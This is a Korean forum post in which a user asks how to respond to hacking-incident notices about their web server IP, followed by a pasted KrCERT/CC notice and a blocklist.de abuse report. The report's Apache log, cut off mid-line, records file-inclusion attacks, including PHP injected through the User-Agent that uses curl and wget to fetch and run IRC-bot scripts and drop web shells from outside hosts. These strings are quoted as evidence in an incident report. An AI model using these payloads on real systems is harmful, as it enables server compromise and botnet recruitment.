그런데 어느날부터 자꾸 이런메일이 오더니
이제는 집전화로 전화까지 오네요
메일내용을 읽어봐도 뭐가뭔지 모르겠고
웹서버 IP주소만 나와있는데
이거 어떻게 대처해야 되는건가요?
안녕하세요? KT스팸대응센터(080-223-XXXX) 담당자 입니다. 아래사항 확인 부탁드립니다. 감사합니다. ----- Original Message ----- From: <*****@******.or.kr>To: <*****@******.net>; <*********@******.net>Cc: <****@******.or.kr>Sent: Friday, August 13, 2010 3:20 PMSubject: 재요청 [KrCERT/CC#1008961347-9-0] 해킹사고 관련 시스템 확인 요청 - 125.141.90.102 안녕하세요.한국인터넷진흥원의 KrCERT/CC(http://www.krcert.or.kr) 입니다. 우리원은 민간분야 인터넷침해사고(해킹, 웜.바이러스 등) 예방 및 대응활동 등을 수행하고 있습니다.※ 근거법령: 정보통신망이용촉진및정보보호등에관한법률 제48조의2(침해사고의 대응 등) 귀 기관과 관련하여 아래와 같이 해킹사고를 접수받았습니다. (첨부 참조) 사 고 번 호 : [KrCERT/CC#1008961347-9-0]사고관련 IP : [125.141.90.102]탐 지 시 간 : 12 Aug 2010 23:49:05 CEST +0200사고관련 포트 : TCP 80 사고관련 시스템에서 포트스캔 또는 악성코드나 웜에 의해 외부로 공격이 이뤄진 것으로 추정됩니다. 해당 시스템을 분석하여 조치 및 보안을 강화하여 주시기 바라며, 시스템 분석결과를 신고자및 KrCERT/CC(****@******.or.kr)로 회신하여 주시기 바랍니다. 메일 송신시 KrCERT/CC 사고번호를 제목란에 기재하여 주십시오. (1) 분석결과 1. KrCERT/CC 사고번호 2. 담당자 : 이름, 전화번호, e-mail 3. 피해 시스템 IP 4. 피해 시스템 OS 5. 사용용도 또는 제공서비스 6. 사고조처내용 (2) 참고사이트 및 문서 o 침해사고 분석 절차 가이드 : http://www.kisa.or.kr/trace_log/data/200801_websecureguide/Incident_guide.pdfo 악성코드 삽입사고 분석 절차 요약 가이드 : http://toolbox.krcert.or.kr/web_01/web_01/01/01.htmlo 웹쉘 탐지 프로그램(Whistl) 보급 안내 : http://toolbox.krcert.or.kr/MMVF/MMVFView_V.aspx?MENU_CODE=6&PAGE_NUMBER=15 o 공개 웹 방화벽을 이용한 홈페이지 보안 : http://toolbox.krcert.or.kr/MMVF/MMVFView_V.aspx?MENU_CODE=8&PAGE_NUMBER=13 o 홈페이지 보안 강화 도구(CASTLE) 보급 안내 : http://toolbox.krcert.or.kr/MMVF/MMVFView_V.aspx?MENU_CODE=7&PAGE_NUMBER=16 o 웹서버 구축 보안점검 가이드 : http://www.kisa.or.kr/trace_log/data/200801_websecureguide/webserver_guide.pdfo 홈페이지 개발 보안 가이드 : http://www.kisa.or.kr/trace_log/data/200801_websecureguide/homepage_guide.pdf o 기술문서 : http://www.krcert.or.kr/technicalDocList.doo 보안공지 : http://www.krcert.or.kr/secureNoticeList.do (3) 웹 취약점 원격점검 서비스 안내 o 웹 취약점 원격 점검 서비스는 SQL injection, Cross site scripting과 기타 웹 공격에대한 취약점을 점검해 주는 서비스 임. 본 서비스는 무료로 제공되며 정보보호 전문지식이나 서버관리 인력이 없는 중소기업 또는 비영리 단체를 대상으로 지원함. o 웹 취약점 원격점검 서비스 신청 : http://toolbox.krcert.or.kr/MMVF/MMVFView_V.aspx?MENU_CODE=40&PAGE_NUMBER=17(4) PC 원격점검 서비스 안내 o 원격점검 서비스는 개인용 컴퓨터(PC)에 한하여 해킹 및 웜바이러스 등에 의해 피해를입은 사용자가 직접 해결이 불가능한 경우 상담원이 직접 상담자의 PC에 접속하여 PC에 설치된 악성코드를 제거하고 보안관련 기본사항을 점검해주는 서비스임 o 원격점검서비스 신청 : http://www.boho.or.kr/pccheck/pcch_04.jsp?page_id=4 (원격점검 신청하기) 메일은 각 기관의 보안담당자 또는 whois DB에 등록되어 있는 연락처로 발송된 것입니다. 올바른 수신자가 아닐 경우에는 보안담당자나 네트워크 관리자에게 전달해 주시면 감사하겠습니다. -----------------------------------------Uk Je, Cho KISA(Korea Internet & Security Agency)+822 405 4723-----------------------------------------
--전달된 메시지 첨부--
To: *****@******.net
Subject: [noreply] abuse report about 125.141.90.102 - Thu, 12 Aug 2010 23:49:05 +0200 -- service: rfi-attack (Again x 77) RID: 159290
From: *************@*****.customer-config.de
Content-Type: multipart/mixed; boundary="Abuse-12e34d6d1f4052852eb07aec97450026";X-Arf: yesX-Report-ID: 159290 Cc: ****@******.or.krMessage-Id: <2**42**1*902***************@*******.customer-config.de>Date: Thu, 12 Aug 2010 23:49:05 +0200 (CEST)X-TM-AS-Product-Ver: IMSS-7.0.0.6352-6.0.0.1038-17566.002X-TM-AS-Result: No--18.629-5.0-31-1X-imss-scan-details: No--18.629-5.0-31-1X-TM-AS-User-Approved-Sender: NoX-TM-AS-User-Blocked-Sender: NoX-TERRACE-SPAMMARK: WHITE (SR:31.20) (by Terrace) X-TERRACE-FORWARD-ORGRECEIVER: ****@******.or.krX-TERRACE-FORWARD-ORGRECEIVER: ****@******.or.kr --Abuse-12e34d6d1f4052852eb07aec97450026MIME-Version: 1.0Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=utf8; Hello Abuse-Team, your Server with the IP: 125.141.90.102 has attacked one of our server/partner on the service:"rfi-attack" on Time: Thu, 12 Aug 2010 23:49:05 +0200.The IP was automatically blocked for more than 10 minutes. To block an IP, it needs 3 failed Logins, one match for "invalid user" or a 5xx-Error-Code (eg. Blacklist)! Please check the machine behind the IP 125.141.90.102 (125.141.90.102) and fix the problem.This is the 77 Attack (reported Attack: 6 + this) from this IP; see: http://www.blocklist.de/en/view.html?ip=125.141.90.102 You can parse this Mail with X-ARF-Tools from http://www.x-arf.org/tools.html e.g. validatexarf-php.tar.gz.You found more Information about X-Arf under http://www.x-arf.org/specification.html This mail will be resend after one day if more attacks are recognized.In the attachment of this mail you can find the original protocols of our systems. To pause this message for one week, you can insert the IP and E-Mailaddress to our Blocklist.If more attacks of your network are recognized after the pause of seven days, the block will be canceled and you will get new reports. http://www.blocklist.de/en/search.html?ip=125.141.90.102&email=*****@******.net< a>> We found your address in the Contact-Database abusix.org, because we could not parse any abuse/security-Address (no abuse-mailbox, abuse@....) in the Whois or get a limit. http://abusix.org/services/abuse-contact-dbAnswer us to rewrite the address (to abuse-quiet or a special address) for all upcoming reports. ------------------------------Martin SchiftanThis message was sent automatically, please answer us for Questionsor go to: http://www.blocklist.de/en/contact.html------------------------------ --Abuse-12e34d6d1f4052852eb07aec97450026MIME-Version: 1.0Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=utf8; name="report.txt"; ---Reported-From: *************@*****.customer-config.deCategory: abuseReport-Type: login-attackService: rfi-attackVersion: 0.1User-Agent: Fail2BanFeedBackScript blocklist.de V0.1Date: Thu, 12 Aug 2010 23:49:05 +0200Source-Type: ip-addressSource: 125.141.90.102Port: 80Report-ID: ******@*********.deSchema-URL: http://www.x-arf.org/schema/abuse_login-attack_0.1.1.jsonAttachment: text/plain --Abuse-12e34d6d1f4052852eb07aec97450026MIME-Version: 1.0Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=utf8; name="logfile.log"; Timezone +0200 (CEST)Lines containing IP:125.141.90.102 in /var/log/apache2/pucorp.org-combined.log 125.141.90.102 - - [08/Aug/2010:14:53:27 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [08/Aug/2010:14:53:34 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [08/Aug/2010:14:53:41 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://faci.obihiro.ac.jp//modules/xfsection/cache/uploaded/irc.txt;perl irc.txt;rm -rf irc.txt;lwp-download http://faci.obihiro.ac.jp//modules/xfsection/cache/uploaded/irc.txt;perl irc.txt;rm -rf irc.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [08/Aug/2010:14:56:33 +0200] "GET /wordpress//tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [08/Aug/2010:14:56:40 +0200] "GET /wordpress//tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [08/Aug/2010:14:56:50 +0200] "GET /wordpress//tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://faci.obihiro.ac.jp//modules/xfsection/cache/uploaded/irc.txt;perl irc.txt;rm -rf irc.txt;lwp-download http://faci.obihiro.ac.jp//modules/xfsection/cache/uploaded/irc.txt;perl irc.txt;rm -rf irc.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [08/Aug/2010:14:58:22 +0200] "GET /wordpress//tools/send_reminders.php?noSet=0&includedir=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 24576 "-" "itil<?system(\"wget http://www.nelsonlimo.net/calendar/tools/back.txt -O configg.php;chmod 755 configg.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [08/Aug/2010:21:07:36 +0200] "GET /index.php?page=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [08/Aug/2010:21:30:47 +0200] "GET /index.php?page=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [08/Aug/2010:22:28:50 +0200] "GET //include/admin.lib.inc.php?site_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [08/Aug/2010:22:28:50 +0200] "GET /index.php?page=links//include/admin.lib.inc.php?site_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [08/Aug/2010:22:28:51 +0200] "GET //include/admin.lib.inc.php?site_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [08/Aug/2010:22:28:50 +0200] "GET /wordpress//include/admin.lib.inc.php?site_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:20:44 +0200] "GET /wordpress//tools/send_reminders.php?noSet=0&includedir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:20:44 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 151158 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:20:44 +0200] "GET /index.php?page=links//tools/send_reminders.php?noSet=0&includedir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:20:45 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:28:42 +0200] "GET //include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:28:42 +0200] "GET /wordpress//include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:28:53 +0200] "GET //include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:28:54 +0200] "GET /index.php?page=links//include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:42:27 +0200] "GET //modules/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:51:38 +0200] "GET /index.php?page=links//include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:51:38 +0200] "GET //include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:51:38 +0200] "GET //include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:00:51:38 +0200] "GET /wordpress//include/write.php?dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:01:30:07 +0200] "GET //admin/spaw/spaw_control.class.php?spaw_root=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:01:30:06 +0200] "GET /wordpress//admin/spaw/spaw_control.class.php?spaw_root=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:01:30:06 +0200] "GET //admin/spaw/spaw_control.class.php?spaw_root=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:01:30:07 +0200] "GET /index.php?page=links//admin/spaw/spaw_control.class.php?spaw_root=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:02:25:34 +0200] "GET /wordpress/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:02:25:38 +0200] "GET /wordpress/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:25:47 +0200] "GET /wordpress/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:25:52 +0200] "GET /wordpress/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:25:58 +0200] "GET /wordpress/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:02:30:29 +0200] "GET /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:02:30:35 +0200] "GET /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:30:43 +0200] "GET /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:30:52 +0200] "GET /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:02:31:01 +0200] "GET /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:03:23:05 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:03:23:16 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:23:20 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:23:31 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:23:42 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:03:29:19 +0200] "GET /wordpress/components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:03:29:29 +0200] "GET /wordpress/components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:29:35 +0200] "GET /wordpress/components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:29:40 +0200] "GET /wordpress/components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:29:45 +0200] "GET /wordpress/components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:03:32:00 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:03:32:10 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:32:19 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:32:26 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:03:32:34 +0200] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:04:29:57 +0200] "GET /wordpress//components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:04:30:06 +0200] "GET /wordpress//components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:30:12 +0200] "GET /wordpress//components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:30:20 +0200] "GET /wordpress//components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:30:33 +0200] "GET /wordpress//components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:04:30:40 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:04:30:49 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:31:02 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:31:17 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:31:29 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:04:33:43 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:04:33:48 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:33:55 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:34:02 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:04:34:09 +0200] "GET //components/com_cpg/cpg.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:05:16:44 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:05:16:48 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:16:53 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:16:59 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:17:07 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:05:22:42 +0200] "GET /wordpress/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:05:22:49 +0200] "GET /wordpress/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> 